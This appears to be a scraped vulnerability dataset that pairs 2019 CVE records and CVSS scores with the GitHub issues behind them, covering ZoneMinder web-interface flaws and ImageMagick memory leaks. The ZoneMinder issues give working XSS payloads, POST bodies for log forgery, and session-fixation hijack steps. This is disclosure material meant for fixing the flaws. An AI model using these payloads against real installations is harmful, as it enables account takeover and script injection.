A Time-of-check Time-of-use (TOCTOU) Race Condition exists in ZoneMinder through 1.32.3 as a session remains active for an authenticated user even after deletion from the users table. This allows a nonexistent user to access and modify records (add/delete Monitors, Users, etc.).

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "PARTIAL", "baseScore": 6, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:S/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 6.8, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": false } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "HIGH", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 7.5, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.0" }, "exploitabilityScore": 1.6, "impactScore": 5.9, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }

[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2476" } ]

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https://github.com/ZoneMinder/zoneminder/issues/2476

[ "Exploit", "Third Party Advisory" ]

github.com

[ "ZoneMinder", "zoneminder" ]

**Describe Your Environment** - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master **Describe the bug** Time-of-check, time-of-use race conditions occur when a resource is checked for a particular value, that value is changed, then the resource is used, based on the assumption that the value is still the same as it was at check time. **To Reproduce** The session is active for authenticated user, even after deleted from users table, leading to Time-of-check Time-of-use (TOCTOU) Race Condition. This can allow an non-existing user to access & modify accessible records (Add/delete Monitors,Users etc). Affected URL : http://localhost/zm/index.php (Privileged access) - Navigate to users page and "Add New User" from users tab and assign any privileges. - Delete the newly added user. - Deleted user can still access the interface & make modifications to the allowed operations. An attacker can gain access to otherwise unauthorized resources and modify, delted or update application data. <img width="583" alt="tack 1" src="https://user-images.githubusercontent.com/47003572/51722246-cbdf0380-207a-11e9-9d3c-5f10ecef10c5.png"> <img width="584" alt="tack 2" src="https://user-images.githubusercontent.com/47003572/51722247-cbdf0380-207a-11e9-9d63-7edd65caf7e7.png"> <img width="585" alt="tack 3" src="https://user-images.githubusercontent.com/47003572/51722248-cc779a00-207a-11e9-8e68-1782994f5541.png"> **Expected behavior** - Destroy the user's session, once the users record is deleted from the database. **Debug Logs** ``` None ```

Time-of-check Time-of-use (TOCTOU) Race Condition

https://api.github.com/repos/ZoneMinder/zoneminder/issues/2476/comments

0

2019-01-25T03:01:24Z

2020-08-06T16:49:28Z

https://github.com/ZoneMinder/zoneminder/issues/2476

402,985,677

2,476

CVE-2019-7348

2019-02-04T19:29:01.383

Self - Stored Cross Site Scripting (XSS) exists in ZoneMinder through 1.32.3, allowing an attacker to execute HTML or JavaScript code via a vulnerable 'username' parameter value in the view user (user.php) because proper filtration is omitted.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }

[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2467" } ]

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https://github.com/ZoneMinder/zoneminder/issues/2467

[ "Exploit", "Third Party Advisory" ]

github.com

[ "ZoneMinder", "zoneminder" ]

**Describe Your Environment** - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master **Describe the bug** The view `user`, does no input validation to the value supplied to `username` field & processes it further storing the value into the database without any prior filtration, leading to stored XSS. **To Reproduce** Affected URL : http://localhost/zm/index.php POST Data - ``` view=user&action=user&uid=4&newUser%5BMonitorIds%5D=&newUser%5BUsername%5D=%3Cimgsrc%3Dxonerror%3Dprompt%28%272%27%29%3B%3E&newUser%5BPassword%5D=&conf_password=&newUser%5BLanguage%5D=en_gb&newUser%5BEnabled%5D=1&newUser%5BSt ream%5D=None&newUser%5BEvents%5D=None&newUser%5BControl%5D=None&newUser%5BMonitors%5D=None&newUser%5BGroups%5D=None&newUser%5BSystem%5D= None&newUser%5BMaxBandwidth%5D= ``` Payload used - `<img src=x onerror=prompt('1');>` - Navigate to the Affected URL, username will beset with the Payload. - Navigate to the http://192.168.0.6/zm/index.php?view=user&uid=4&popup=1, Payload will be triggered <img width="585" alt="user" src="https://user-images.githubusercontent.com/47003572/51709403-47758c00-204c-11e9-8f14-653851cc157d.png"> **Expected behavior** - Proper escaping of special characters. **Debug Logs** ``` None ```

Self - Stored Cross Site Scripting (XSS) - user.php

https://api.github.com/repos/ZoneMinder/zoneminder/issues/2467/comments

0

2019-01-24T21:19:53Z

2019-02-10T01:46:02Z

https://github.com/ZoneMinder/zoneminder/issues/2467

402,900,171

2,467

CVE-2019-7349

2019-02-04T19:29:01.413

Reflected Cross Site Scripting (XSS) exists in ZoneMinder through 1.32.3, allowing an attacker to execute HTML or JavaScript code via a vulnerable 'newMonitor[V4LCapturesPerFrame]' parameter value in the view monitor (monitor.php) because proper filtration is omitted.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }

[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2465" } ]

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https://github.com/ZoneMinder/zoneminder/issues/2465

[ "Exploit", "Third Party Advisory" ]

github.com

[ "ZoneMinder", "zoneminder" ]

**Describe Your Environment** - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master **Describe the bug** The view `monitor`, insecurely prints the `newMonitor[V4LCapturesPerFrame]` value on the webpage, without applying any proper filtration, leading to Reflected XSS. **To Reproduce** Affected URL : http://localhost/zm/index.php POST Data - `view=monitor&tab=source&action=monitor&mid=0&newMonitor[LinkedMonitors]=&origMethod=v4l2&newMonitor[Name]=Monitor1766&newMonitor[ServerId]=&newMonitor[StorageId]=1&newMonitor[Type]=Local&newMonitor[Function]=Mocord&newMonitor[Enabled]=1&newMonitor[RefBlendPerc]=6&ne wMonitor[AlarmRefBlendPerc]=6&newMonitor[AnalysisFPSLimit]=&newMonitor[MaxFPS]=30&newMonitor[AlarmMaxFPS]=30&newMonitor[Triggers] []=&newMonitor[Protocol]=&newMonitor[Host]=&newMonitor[Port]=80&newMonitor[Options]=&newMonitor[Path]=&newMonitor[User]=&newMonitor[Pass]=&newMonitor[Save JPEGs]=0&newMonitor[VideoWriter]=1&newMonitor[EncoderParameters]=# Lines beginning with # are a comment # For changing quality, use the crf option # 1 is best, 51 is worst quality #crf=23&newMonitor[RecordAudio]=0&newMonitor[RTSPDescribe]=0&newMonitor[LabelFormat]=%N - %d/%m/%y %H:%M:%S&newMonitor[LabelX]=0&newMonitor[LabelY]=0&newMonitor[LabelSize]=1&newMonitor[ImageBufferCount]=20&newMonitor[WarmupCount]=0&newMonitor[PreEve ntCount]=0&newMonitor[PostEventCount]=5&newMonitor[StreamReplayBuffer]=0&newMonitor[AlarmFrameCount]=1&newMonitor[EventPrefix]=Event&newMonitor[SectionLength]=600&newMonitor[FrameSkip]=0&newMonitor[MotionFrameSkip]=0&newMonitor[AnalysisUpdateDelay]=0&newMonitor[FPSReportInterval]=100&newMonitor[DefaultView]=Events&newMonitor[DefaultRate]=100&newMonitor[DefaultScale]=100&newMonitor[WebColour]=red&newMonitor[Exif]=0&newMonitor[SignalCheckP oints]=10&newMonitor[SignalCheckColour]=#0000c0&newMonitor[Device]=/dev/video0&newMonitor[Method]=&newMonitor[Channel]=0&newMonitor[Format]=255&newMonito r[Palette]=0&newMonitor[V4LMultiBuffer]="><img src=x onerror=prompt('1');>&newMonitor[V4LCapturesPerFrame]=&newMonitor[Colours]=\&newMonitor[Width]=1280&newMonitor[Height]=720 &newMonitor[Orientation]=0&newMonitor[Deinterlacing]=0` Payload used - `"><img src=x onerror=prompt('1');>` - Navigate to the Affected URL, Payload would be triggered. <img width="737" alt="monitor 2" src="https://user-images.githubusercontent.com/47003572/51708035-d2548780-2048-11e9-9e23-0fa11f6a37bb.png"> **Expected behavior** - Proper escaping of special characters. **Debug Logs** ``` None ```

Reflected Cross Site Scripting(XSS) - monitor.php

https://api.github.com/repos/ZoneMinder/zoneminder/issues/2465/comments

0

2019-01-24T20:59:00Z

2019-02-10T00:54:16Z

https://github.com/ZoneMinder/zoneminder/issues/2465

402,892,908

2,465

CVE-2019-7350

2019-02-04T19:29:01.443

Session fixation exists in ZoneMinder through 1.32.3, as an attacker can fixate his own session cookies to the next logged-in user, thereby hijacking the victim's account. This occurs because a set of multiple cookies (between 3 and 5) is being generated when a user successfully logs in, and these sets overlap for successive logins.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "NONE", "baseScore": 4.9, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:S/C:P/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 6.8, "impactScore": 4.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 7.3, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N", "version": "3.0" }, "exploitabilityScore": 2.1, "impactScore": 5.2, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }

[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2471" } ]

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https://github.com/ZoneMinder/zoneminder/issues/2471

[ "Exploit", "Third Party Advisory" ]

github.com

[ "ZoneMinder", "zoneminder" ]

**Describe Your Environment** - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master **Describe the bug** Before any response being rendered on the web page, a cookie is being set as part of response via Set-Cookie header.Currently due to improper implementation, multiple cookies (3-5) are being set when a user successfully logs in, which isn't an expected behavior.Now when the next user logs into the application using the same browser, the last user's last cookie is being set as the present user's first cookie. **To Reproduce** - Login into the application, capture the response (Live HTTP header addon for firefox) - Multiple Set-Cookie headers will be present in the response Exploitation Actors- - User A (Victim) - User B (Attacker) 1. User B logs into the application, captures his own Cookies & logs out. User B's cookie : Set-Cookie: ZMSESSID=rrnilufc9vgb3cp0l2m7cqrc91; path=/; HttpOnly Set-Cookie: ZMSESSID=blkta1mgocj5ksqdg5ncpdptg3; path=/; HttpOnly Set-Cookie: ZMSESSID=blkta1mgocj5ksqdg5ncpdptg3; path=/; HttpOnly Set-Cookie: ZMSESSID=blkta1mgocj5ksqdg5ncpdptg3; path=/; HttpOnly Set-Cookie: ZMSESSID=p79d4mk2g6sm5qi6o51ep6j6m5; path=/; HttpOnly - `Common to User A's First cookie` 2. User A Uses the same browser & log into the application. User A's cookie - Set-Cookie: ZMSESSID=p79d4mk2g6sm5qi6o51ep6j6m5; path=/; HttpOnly - `Common to User B's Last cookie` Set-Cookie: ZMSESSID=2397j5pchtgt153ukrmutgbmv1; path=/; HttpOnly Set-Cookie: ZMSESSID=2397j5pchtgt153ukrmutgbmv1; path=/; HttpOnly Set-Cookie: ZMSESSID=2397j5pchtgt153ukrmutgbmv1; path=/; HttpOnly Set-Cookie: ZMSESSID=eg5hvsn3i67n34fibt5nq7lbu6; path=/; HttpOnly 3. User B uses User A's Last cookie to hijack the User B's session (locally/remotely) **Expected behavior** - Only set single cookie the user & invalidate the same once user logs out of the application. **Debug Logs** ``` None ```

Improper Session Management - Session Fixation

https://api.github.com/repos/ZoneMinder/zoneminder/issues/2471/comments

3

2019-01-24T21:49:38Z

2023-12-19T04:51:42Z

https://github.com/ZoneMinder/zoneminder/issues/2471

402,910,506

2,471

CVE-2019-7351

2019-02-04T19:29:01.490

Log Injection exists in ZoneMinder through 1.32.3, as an attacker can entice the victim to visit a specially crafted link, which in turn will inject a custom Log message provided by the attacker in the 'log' view page, as demonstrated by the message=User%20'admin'%20Logged%20in value.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 3.6, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }

[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2466" } ]

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https://github.com/ZoneMinder/zoneminder/issues/2466

[ "Exploit", "Third Party Advisory" ]

github.com

[ "ZoneMinder", "zoneminder" ]

**Describe Your Environment** - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master **Describe the bug** This attack targets the log files of the target host. The attacker injects, manipulates or forges malicious log entries in the log file, allowing him to mislead a log audit, cover traces of attack, or perform other malicious actions. The target host is not properly controlling log access. As a result tainted data is resulting in the log files leading to a failure in accountability, non-repudiation and incident forensics capability Most components of ZoneMinder can emit informational, warning, error and debug messages in a standard format. These messages can be logged in.. Example of these messages is: `03/01/06 13:46:00.166046 zmpkg[11148].INF [Command: start]` The first part refers to the date and time of the entry, the next section is the name (or an abbreviated version) of the script, followed by the process id in square brackets, a severity code (INF, WAR, ERR or DBG) and the debug text. All the mentioned information can be manipulated & inject by an attacker by enticing the victim to visit a specially crafted link, which in turn will inject a custom Log message provided by the attacker. The same will be reflected in the `Log` view page **To Reproduce** Affected URL : http://localhost/zm/index.php POST Data - `browser[name]=chrome&browser[platform]=win&browser[version]=41&file=admin&level=INF&line=128&message=User 'admin' Logged in&page=1&request=log&task=create` - Navigate to the Affected URL, Custom Log will be injected. - Navigate to the http://localhost/zm/index.php?view=log, Log will be visible. <img width="737" alt="log injection" src="https://user-images.githubusercontent.com/47003572/51708285-86eea900-2049-11e9-9b27-9565c3c1798f.png"> **Expected behavior** - Do not allow tainted data to be written in the log file without prior input validation. Whitelisting may be used to properly validate the data. **Debug Logs** ``` None ```

Log Injection

https://api.github.com/repos/ZoneMinder/zoneminder/issues/2466/comments

4

2019-01-24T21:05:23Z

2022-04-16T07:32:29Z

https://github.com/ZoneMinder/zoneminder/issues/2466

402,895,117

2,466

CVE-2019-7352

2019-02-04T19:29:01.537

Self - Stored Cross Site Scripting (XSS) exists in ZoneMinder through 1.32.3, as the view 'state' (aka Run State) (state.php) does no input validation to the value supplied to the 'New State' (aka newState) field, allowing an attacker to execute HTML or JavaScript code.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": false } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }

[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2475" } ]

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https://github.com/ZoneMinder/zoneminder/issues/2475

[ "Exploit", "Third Party Advisory" ]

github.com

[ "ZoneMinder", "zoneminder" ]

**Describe Your Environment** - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master **Describe the bug** The view `Run State`, does no input validation to the value supplied to `New State` field & processes it further storing the value into the database without any prior filtration, leading to stored XSS. **To Reproduce** Affected URL : http://localhost/zm/index.php POST Data - `__csrf_magic=key:1f34f1349423d6ec88301cfdfa4d450eb8d33c1b,1547801142&view=console&action=save&apply=1&newState=<script>alert('1');</script>` Payload used - `<script>alert('1');</script>` - Navigate to the Affected URL and set value of New State with payload - Click on Download and Payload would be triggered. <img width="624" alt="state" src="https://user-images.githubusercontent.com/47003572/51712014-89ee9700-2053-11e9-8417-82a133881b07.png"> <img width="618" alt="state 1" src="https://user-images.githubusercontent.com/47003572/51712013-89ee9700-2053-11e9-9b57-44ea90bdf746.png"> **Expected behavior** - Proper escaping of special characters. **Debug Logs** ``` None ```

Self - Stored Cross Site Scripting (XSS) - state.php

https://api.github.com/repos/ZoneMinder/zoneminder/issues/2475/comments

0

2019-01-24T22:15:13Z

2019-02-10T04:40:27Z

https://github.com/ZoneMinder/zoneminder/issues/2475

402,919,369

2,475

CVE-2019-7395

2019-02-05T00:29:00.400

In ImageMagick before 7.0.8-25, a memory leak exists in WritePSDChannel in coders/psd.c.

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[ { "source": "[email protected]", "tags": [ "Broken Link", "Third Party Advisory" ], "url": "http://lists.opensuse.org/opensuse-security-announce/2019-04/msg00034.html" }, { "source": "[email protected]", "tags": [ "Broken Link" ], "url": "http://lists.opensuse.org/opensuse-security-announce/2019-05/msg00006.html" }, { "source": "[email protected]", "tags": [ "Third Party Advisory", "VDB Entry" ], "url": "http://www.securityfocus.com/bid/106850" }, { "source": "[email protected]", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/ImageMagick/ImageMagick/commit/8a43abefb38c5e29138e1c9c515b313363541c06" }, { "source": "[email protected]", "tags": [ "Exploit", "Patch", "Third Party Advisory" ], "url": "https://github.com/ImageMagick/ImageMagick/issues/1451" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://usn.ubuntu.com/4034-1/" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://www.debian.org/security/2020/dsa-4712" } ]

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https://github.com/ImageMagick/ImageMagick/issues/1451

[ "Exploit", "Patch", "Third Party Advisory" ]

github.com

[ "ImageMagick", "ImageMagick" ]

### Prerequisites - [x] I have written a descriptive issue title - [x] I have verified that I am using the latest version of ImageMagick - [x] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported ### Description  memory leak in WritePSDChannel in coders/psd.c ### Steps to Reproduce  The critical code snippet is: https://github.com/ImageMagick/ImageMagick/blob/master/coders/psd.c#L2767 ```c #ifdef MAGICKCORE_ZLIB_DELEGATE if (compression == ZipCompression) { compressed_pixels=(unsigned char *) AcquireQuantumMemory(CHUNK, //line 2770 sizeof(*compressed_pixels)); if (compressed_pixels == (unsigned char *) NULL) { quantum_info=DestroyQuantumInfo(quantum_info); return(0); } memset(&stream,0,sizeof(stream)); stream.data_type=Z_BINARY; level=Z_DEFAULT_COMPRESSION; if ((image_info->quality > 0 && image_info->quality < 10)) level=(int) image_info->quality; if (deflateInit(&stream,level) != Z_OK) //line 2782 { quantum_info=DestroyQuantumInfo(quantum_info); return(0); //line 2785 } } ``` **compressed_pixels** is allocated at *line 2770*, however, when the condition at *line 2782* is satisfied and the function returns at line *2785*, **compressed_pixels** (size is 16KB) is not freed and memory leak happens. In addition, the value of **compressed_pixels** is not passed outside to its caller function when returned at *line 2785*. So the condition that this memory leak happens is that *MAGICKCORE_ZLIB_DELEGATE* is defined, compression type is *ZipCompression* and *deflateInit(&stream,level)* is not *Z_OK*. The size of leaked memory is 16KB. Patch suggestion: ```c if (deflateInit(&stream,level) != Z_OK) //line 2782 { quantum_info=DestroyQuantumInfo(quantum_info); + compressed_pixels=(unsigned char *) RelinquishMagickMemory( + compressed_pixels); return(0); } } ``` ### System Configuration  - ImageMagick version: ImageMagick-4f0ea40e2a090e245f31d1f05247520d6e7eb4ca - Environment (Operating system, version and so on): Ubuntu 16.04 - Additional information:  Credit to Bingchang Liu at VARAS of IIE

memory leak in WritePSDChannel in coders/psd.c

https://api.github.com/repos/ImageMagick/ImageMagick/issues/1451/comments

2

2019-01-17T03:11:55Z

2019-02-12T01:45:47Z

https://github.com/ImageMagick/ImageMagick/issues/1451

400,092,278

1,451

CVE-2019-7396

2019-02-05T00:29:00.447

In ImageMagick before 7.0.8-25, a memory leak exists in ReadSIXELImage in coders/sixel.c.

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[ { "source": "[email protected]", "tags": [ "Broken Link", "Third Party Advisory" ], "url": "http://lists.opensuse.org/opensuse-security-announce/2019-04/msg00034.html" }, { "source": "[email protected]", "tags": [ "Third Party Advisory", "VDB Entry" ], "url": "http://www.securityfocus.com/bid/106849" }, { "source": "[email protected]", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/ImageMagick/ImageMagick/commit/748a03651e5b138bcaf160d15133de2f4b1b89ce" }, { "source": "[email protected]", "tags": [ "Exploit", "Patch", "Third Party Advisory" ], "url": "https://github.com/ImageMagick/ImageMagick/issues/1452" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://usn.ubuntu.com/4034-1/" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://www.debian.org/security/2020/dsa-4712" } ]

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https://github.com/ImageMagick/ImageMagick/issues/1452

[ "Exploit", "Patch", "Third Party Advisory" ]

github.com

[ "ImageMagick", "ImageMagick" ]

### Prerequisites - [x] I have written a descriptive issue title - [x] I have verified that I am using the latest version of ImageMagick - [x] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported ### Description  potential memory leak in ReadSIXELImage in sixel.c ### Steps to Reproduce  The first critical code snippet is: https://github.com/ImageMagick/ImageMagick/blob/master/coders/sixel.c#L539 ```c if (imsx > max_x || imsy > max_y) { // line 539 dmsx = max_x; dmsy = max_y; if (SetImageExtent(image,dmsx,dmsy,exception) == MagickFalse) { imbuf = (unsigned char *) RelinquishMagickMemory(imbuf); return (MagickFalse); } if ((dmbuf = (unsigned char *) AcquireQuantumMemory(dmsx , dmsy)) == NULL) { //line 547 imbuf = (unsigned char *) RelinquishMagickMemory(imbuf); return (MagickFalse); } for (y = 0; y < dmsy; ++y) { (void) memcpy(dmbuf + dmsx * y, imbuf + imsx * y, dmsx); } imbuf = (unsigned char *) RelinquishMagickMemory(imbuf); imsx = dmsx; imsy = dmsy; imbuf = dmbuf; //line 557 } *pixels = imbuf; //line 560 *pwidth = imsx; *pheight = imsy; *ncolors = max_color_index + 1; *palette = (unsigned char *) AcquireQuantumMemory(*ncolors,4); // line 564 if (*palette == (unsigned char *) NULL) return(MagickFalse); // line 566 ``` When condition at line **539** is satisfied and **dmbuf** is successfully allocated at line **547**, the value of dmbuf is assigned to **imbuf** at line **557** and is finally assigned to the pointer parameter **pixels** at line **560** (i.e. the buf's address is passed outside to the caller function). Now, when the allocation at line **564** failed, the function will return *MagickFalse* at line **566**. Next, I searched the whole project code and only found one call to **sixel_decode** which locates in function **ReadSIXELImage** in sixel.c at line **1057** as the following. The local variable **sixel_pixels** holds the value of **dmbuf**. https://github.com/ImageMagick/ImageMagick/blob/master/coders/sixel.c#L1057 ```c if (sixel_decode(image,(unsigned char *) sixel_buffer,&sixel_pixels,&image->columns,&image->rows,&sixel_palette,&image->colors,exception) == MagickFalse) // line 1057 { sixel_buffer=(char *) RelinquishMagickMemory(sixel_buffer); ThrowReaderException(CorruptImageError,"CorruptImage"); } sixel_buffer=(char *) RelinquishMagickMemory(sixel_buffer); image->depth=24; image->storage_class=PseudoClass; status=SetImageExtent(image,image->columns,image->rows,exception); if (status == MagickFalse) { sixel_pixels=(unsigned char *) RelinquishMagickMemory(sixel_pixels); // line 1068 sixel_palette=(unsigned char *) RelinquishMagickMemory(sixel_palette); return(DestroyImageList(image)); } ``` However, when function *sixel_decode* returned *MagickFalse* as described above, the memory pointed by **sixel_pixels** (i.e. the memory allocated at line 547) was not freed as done at line **1068**. As a result, a memory leak happens. Patch Suggestion: ```c if (sixel_decode(image,(unsigned char *) sixel_buffer,&sixel_pixels,&image->columns,&image->rows,&sixel_palette,&image->colors,exception) == MagickFalse) { sixel_buffer=(char *) RelinquishMagickMemory(sixel_buffer); + sixel_pixels=(unsigned char *) RelinquishMagickMemory(sixel_pixels); ThrowReaderException(CorruptImageError,"CorruptImage"); } ``` ### System Configuration  - ImageMagick version: ImageMagick-4f0ea40e2a090e245f31d1f05247520d6e7eb4ca - Environment (Operating system, version and so on): Ubuntu 16.04 - Additional information:  Credit to Bingchang Liu at VARAS of IIE

Potential Memory Leak in ReadSIXELImage in coders/sixel.c

https://api.github.com/repos/ImageMagick/ImageMagick/issues/1452/comments

2

2019-01-17T04:06:51Z

2019-03-11T01:54:07Z

https://github.com/ImageMagick/ImageMagick/issues/1452

400,102,085

1,452

CVE-2019-7397

2019-02-05T00:29:00.510

In ImageMagick before 7.0.8-25 and GraphicsMagick through 1.3.31, several memory leaks exist in WritePDFImage in coders/pdf.c.

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[ { "source": "[email protected]", "tags": [ "Patch", "Third Party Advisory" ], "url": "http://hg.graphicsmagick.org/hg/GraphicsMagick/rev/11ad3aeb8ab1" }, { "source": "[email protected]", "tags": [ "Broken Link", "Third Party Advisory" ], "url": "http://lists.opensuse.org/opensuse-security-announce/2019-04/msg00034.html" }, { "source": "[email protected]", "tags": [ "Broken Link" ], "url": "http://lists.opensuse.org/opensuse-security-announce/2019-05/msg00006.html" }, { "source": "[email protected]", "tags": [ "Third Party Advisory", "VDB Entry" ], "url": "http://www.securityfocus.com/bid/106847" }, { "source": "[email protected]", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/ImageMagick/ImageMagick/commit/306c1f0fa5754ca78efd16ab752f0e981d4f6b82" }, { "source": "[email protected]", "tags": [ "Exploit", "Patch", "Third Party Advisory" ], "url": "https://github.com/ImageMagick/ImageMagick/issues/1454" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://usn.ubuntu.com/4034-1/" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://www.debian.org/security/2020/dsa-4712" } ]

